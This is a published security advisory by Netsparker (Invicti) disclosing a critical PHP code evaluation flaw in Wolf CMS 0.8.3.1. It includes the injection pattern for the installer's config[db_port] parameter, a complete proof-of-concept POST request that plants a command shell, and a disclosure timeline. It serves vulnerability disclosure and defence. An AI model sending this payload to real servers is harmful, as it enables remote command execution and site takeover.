Information
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Advisory by Netsparker (now Invicti)
Name: PHP Code Evaluation in Wolf CMS 0.8.3.1
Affected Software: Wolf CMS
Affected Versions: 0.8.3.1
Homepage: http://www.wolfcms.org/
Vulnerability: PHP Code Evaluation
Severity: Critical
Status: Not Fixed
CVE-ID: 2018-14479
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Invicti Advisory Reference: NS-18-014

Technical Details
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URL: http://{domain}/{wolfcms_path}/wolf/install/index.php
Parameter Name: config[db_port]
Parameter Type: POST
Attack Pattern: a');system($_GET['cmd']);echo('

Proof of Concept
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POST /wolf/install/index.php HTTP/1.1

Host: localhost:8080

install=1&config[db_driver]=mysql&config[db_host]=localhost&config[db_socket]=&config[db_user]=root&config[db_pass]=&config[db_name]=wolf&config[table_prefix]=&config[admin_username]=admin&config[url_suffix]=.html&commit=1&config[db_port]=a');system($_GET['cmd']);echo('

Video: https://www.youtube.com/watch?v=QBKOdBWk64U

Advisory Timeline
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22nd September 2017- First Contact
23rd October 2017 - Attempted to Contact 
11th December 2017 - Attempted to Contact 
16th January 2018 - Attempted to Contact 
26th October 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.